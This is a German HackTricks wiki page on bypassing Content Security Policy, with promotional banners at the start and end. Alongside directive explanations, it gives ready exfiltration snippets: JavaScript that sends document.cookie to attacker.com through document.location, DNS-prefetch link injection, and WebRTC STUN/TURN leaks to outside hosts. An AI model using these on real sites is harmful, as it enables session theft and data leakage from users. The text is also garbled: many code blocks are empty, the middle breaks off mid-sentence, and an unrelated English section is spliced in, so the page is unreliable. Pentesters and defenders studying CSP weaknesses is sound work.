# Content Security Policy (CSP) Umgehung
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren! **Hacking-Einblicke**\ Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen **Echtzeit-Hack-News**\ Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden **Neueste Ankündigungen**\ Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert **Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern! ## Was ist CSP Content Security Policy (CSP) wird als Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, **vor Angriffen wie Cross-Site-Scripting (XSS) zu schützen**. Es funktioniert, indem Pfade und Quellen definiert und detailliert werden, aus denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Beispielsweise könnte eine Richtlinie das Laden und Ausführen von Ressourcen von der gleichen Domäne (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`. Die Implementierung von CSP erfolgt über **Antwortheader** oder durch das Einbinden von **Meta-Elementen in die HTML-Seite**. Nach dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle festgestellten Verstöße. * Implementiert über Antwortheader: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` * Implementiert über Meta-Tag: ```xml ``` ### Überschriften CSP kann mithilfe dieser Header durchgesetzt oder überwacht werden: * `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert Verstöße. * `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen. ### Definieren von Ressourcen CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und steuert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Direktiven * **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignisbehandler oder XSLT-Stylesheets ausgelöst werden. * **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufanweisungen fehlen. * **child-src**: Legt erlaubte Ressourcen für Web-Worker und eingebettete Frame-Inhalte fest. * **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können. * **frame-src**: Beschränkt URLs für Frames. * **frame-ancestors**: Legt fest, welche Quellen die aktuelle Seite einbetten können, gilt für Elemente wie ``, ` // The bot will load an URL with the payload ``` ### Über Bookmarklets Dieser Angriff würde einige soziale Manipulationen implizieren, bei denen der Angreifer den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen. Dieses Bookmarklet würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, wodurch die CSP umgangen wird und das Stehlen sensibler Informationen wie Cookies oder Tokens ermöglicht wird. Für weitere Informationen [**überprüfen Sie den Originalbericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP-Umgehung durch Einschränkung der CSP In [**diesem CTF-Writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird die CSP umgangen, indem in einem erlaubten iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verhinderte, die dann über **Prototyp-Verschmutzung** oder **DOM-Überlagerung** das Missbrauchen eines anderen Skripts ermöglichte, um ein beliebiges Skript zu laden. Sie können die **CSP eines Iframes** mit dem **`csp`**-Attribut **einschränken**: {% code overflow="wrap" %} ```html ``` {% endcode %} In [**diesem CTF-Writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) war es durch **HTML-Injection** möglich, eine **CSP weiter einzuschränken**, sodass ein Skript, das CSTI verhindert, deaktiviert wurde und somit die **Schwachstelle ausnutzbar wurde.**\ CSP kann durch Verwendung von **HTML-Meta-Tags** restriktiver gestaltet werden und Inline-Skripte können deaktiviert werden, **indem der Eintrag entfernt wird**, der ihre **Nonce** zulässt, und **spezifische Inline-Skripte über sha aktiviert werden**: ```html ``` ### JS Exfiltration mit Content-Security-Policy-Report-Only Wenn es dir gelingt, den Server mit dem Header **`Content-Security-Policy-Report-Only`** und einem **von dir kontrollierten Wert** antworten zu lassen (vielleicht aufgrund eines CRLF), könntest du ihn dazu bringen, auf deinen Server zu verweisen. Wenn du den **JS-Inhalt**, den du exfiltrieren möchtest, mit **`` einzubetten. Beachten Sie, dass dieses Skript geladen wird, weil es von 'self' erlaubt ist. Darüber hinaus und weil WordPress installiert ist, könnte ein Angreifer den SOME-Angriff über den verwundbaren Callback-Endpunkt missbrauchen, der die CSP umgeht, um einem Benutzer mehr Rechte zu geben, ein neues Plugin zu installieren...\ Weitere Informationen dazu, wie dieser Angriff durchgeführt wird, finden Sie unter [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP-Exfiltration-Bypasses Wenn eine strenge CSP vorhanden ist, die es Ihnen nicht erlaubt, mit externen Servern zu interagieren, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren. ### Location Sie könnten einfach den Standort aktualisieren, um dem Server des Angreifers die geheimen Informationen zu senden: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta-Tag Sie könnten eine Weiterleitung durch das Einfügen eines Meta-Tags erreichen (dies ist lediglich eine Weiterleitung, es wird kein Inhalt preisgegeben) ```html ``` ### DNS Prefetch Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen vorab auflösen und für späteren Gebrauch zwischenspeichern.\ Sie können einem Browser anzeigen, einen Hostnamen vorab aufzulösen mit: `` Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` ## CSP Bypass ### Introduction Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or bypasses in CSP can render it ineffective. ### Bypassing CSP using `unsafe-inline` One common misconfiguration in CSP is allowing `unsafe-inline` in the `script-src` directive. This allows the execution of inline JavaScript code, which can be exploited by an attacker to bypass CSP protections. ### Bypassing CSP using data: URI Another way to bypass CSP is by using `data:` URIs to embed external resources inline. By encoding the external resource in Base64 and including it in a `data:` URI, an attacker can execute malicious code while bypassing CSP restrictions. ### Conclusion It is important to properly configure CSP to maximize its effectiveness in protecting web applications. Regularly audit and test your CSP headers to ensure they are not misconfigured and vulnerable to bypasses. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` Um dies zu vermeiden, kann der Server den HTTP-Header senden: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Anscheinend funktioniert diese Technik nicht in headless Browsern (Bots). {% endhint %} ### WebRTC Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie des CSP nicht überprüft**. Tatsächlich können Informationen durch eine _DNS-Anfrage_ _geleakt_ werden. Schau dir diesen Code an: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` Eine weitere Option: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## Überprüfung von CSP-Richtlinien online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatisches Erstellen von CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## Referenzen * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren! **Hacking Insights**\ Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen **Echtzeit-Hack-News**\ Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden **Neueste Ankündigungen**\ Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert **Treten Sie uns bei** auf [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.